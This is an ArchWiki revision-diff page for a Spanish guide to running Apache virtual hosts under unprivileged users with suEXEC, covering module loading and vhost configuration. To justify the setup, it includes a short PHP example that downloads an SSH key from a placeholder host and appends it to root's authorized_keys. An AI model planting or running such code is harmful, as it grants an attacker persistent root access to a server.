Difference between revisions of "Apache, suEXEC and Virtual Hosts (Español)"

From ArchWiki
Jump to: navigation, search
(4 intermediate revisions by 3 users not shown)
Line 1: Line 1:
[[Category:Redes (Español)]]
+
[[Category:Networking (Español)]]
[[Category:CÓMOs (Español)]]
+
[[en:Apache, suEXEC and Virtual Hosts]]
 
+
[[zh-CN:Apache, suEXEC and Virtual Hosts]]
{{i18n_links_start}}
+
{{i18n_entry|English|Apache, SuExec and virtual Hosts}}
+
{{i18n_entry|Español|Apache, SuExec y los servidores virtuales (Español)}}
+
{{i18n_entry|简体中文|Apache, SuExec and virtual Hosts (简体中文)}}
+
{{i18n_links_end}}
+
 
+
 
== Apache, SuExec y los servidores virtuales==
 
== Apache, SuExec y los servidores virtuales==
  
Line 44: Line 38:
  
 
==== Establecer un servidor virtual que utilice SuExec====
 
==== Establecer un servidor virtual que utilice SuExec====
Una manera de hacerl oes directamnete en el archivo ''/etc/httpd/conf/httpd.conf'' pero le sugiero que use un archivo diferente si pretende crear más de una pareja de servidores virtuales. De cualquier manera, un servidor virtual que se supone que utiliza SuExec puede ser algo así:
+
Una manera de hacerlo es directamnete en el archivo ''/etc/httpd/conf/httpd.conf'' pero le sugiero que use un archivo diferente si pretende crear más de una pareja de servidores virtuales. De cualquier manera, un servidor virtual que se supone que utiliza SuExec puede ser algo así:
  
 
<pre>
 
<pre>
Line 69: Line 63:
 
</pre>
 
</pre>
 
<br>
 
<br>
 +
 
====Deshabilitando el directorio "DocumentRoot" por defecto====
 
====Deshabilitando el directorio "DocumentRoot" por defecto====
 
Para hacer más segura aún su configuración puede deshabilitar el directorio ''DocumentRoot'' por defecto para que Apache no ejecute nada como lo hace el mismo superuser. Este procedimiento no lo deshabilita realmente, si no que apunta a un lugar donde ya no es accesible remotamente. Se puede lograr esto fácilemente reemplazando su ''ServerName'' por defecto con lo siguiente:
 
Para hacer más segura aún su configuración puede deshabilitar el directorio ''DocumentRoot'' por defecto para que Apache no ejecute nada como lo hace el mismo superuser. Este procedimiento no lo deshabilita realmente, si no que apunta a un lugar donde ya no es accesible remotamente. Se puede lograr esto fácilemente reemplazando su ''ServerName'' por defecto con lo siguiente:

Revision as of 08:15, 13 June 2012

Apache, SuExec y los servidores virtuales

Este documento describe cómo utilizar el módulo SuExec de Apache para suministrar servidores virtuales corriendo com un usuario sin privilegios. Generalmente es una buena práctica no permitir privilegios de superusuario a ninguna parte de lespacio web como muestra de manera un tanto brutal este ejemplo PHP:

   <?php
     # este enlace por supuesto no lleva a ninguna parte
     $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub');
     exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys");
   ?>

Coge la idea, verdad? Para impedir esto, no permita nunca a ningún servidor virtual tener acceso de escritura en ninguna parte excepto en su propio directorio personal o en el directorio DocumentRoot. Desgraciadamente este método requiere que Apache sea ejecutado como superusuario para que pueda ser capaz de convertirse en otro usuario pero esto no es una buena idea ya que usted no necesita que Apache se ejecute también como superusuario en el directorio DocumentRoot por defecto.

Debería usted condiderar también el uso de SuExec si pretende tener varias cuentas FTP apuntando a aquellos espacios web que necesiten permisos de escritura manteniéndose la posibilidad de lectura de los ficheros por parte de Apache.

Prerequisitos

  • debería estar familiarizado con la configuración básica de Apache
    • especialmente con los servidores virtuales
  • Acceso de superusuario a la caja objetivo
  • Conocimiento acerca de añadir usuarios
  • saber trabajar con pacman


Añadiéndo el módulo SuExec a Apache

  • cargue el módulo SuExec en /etc/httpd/conf/httpd.conf así
LoadModule suexec_module        lib/apache/mod_suexec.so
  • asegúrese de que el directorio DocumentRoot por defecto de Apache no corre tampoco como superusuario!
 User nobody
 Group nobody


Establecer un servidor virtual que utilice SuExec

Una manera de hacerlo es directamnete en el archivo /etc/httpd/conf/httpd.conf pero le sugiero que use un archivo diferente si pretende crear más de una pareja de servidores virtuales. De cualquier manera, un servidor virtual que se supone que utiliza SuExec puede ser algo así:

<VirtualHost 192.168.0.1:80>
        ServerName myhost
        ServerAlias  myhost.localdomain
        # aquí es donde van las peticiones de /
        DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs

        # aquí establece qué usuario (myhost) y qué grupo (ftponly) debería usar Apache
        SuexecUserGroup myhost ftponly

        # lo siguiente es opcional pero podría serle útil
        ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
        php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
        php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/htdocs/tmp
        php_admin_flag safe_mode On
        ErrorDocument 404 /home/www/vhosts/myhost.localdomain
        <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
                AllowOverride None
                Options +SymlinksIfOwnerMatch +Includes
        </Directory>
</VirtualHost>


Deshabilitando el directorio "DocumentRoot" por defecto

Para hacer más segura aún su configuración puede deshabilitar el directorio DocumentRoot por defecto para que Apache no ejecute nada como lo hace el mismo superuser. Este procedimiento no lo deshabilita realmente, si no que apunta a un lugar donde ya no es accesible remotamente. Se puede lograr esto fácilemente reemplazando su ServerName por defecto con lo siguiente:

 ServerName localhost:80

Rematando

Como siempre que se cambia la configuración por defecto hay que rearrancar Apache para que los cambios tengan efecto.

 /etc/rc.d/httpd restart

Referencias externas


Autor: kth5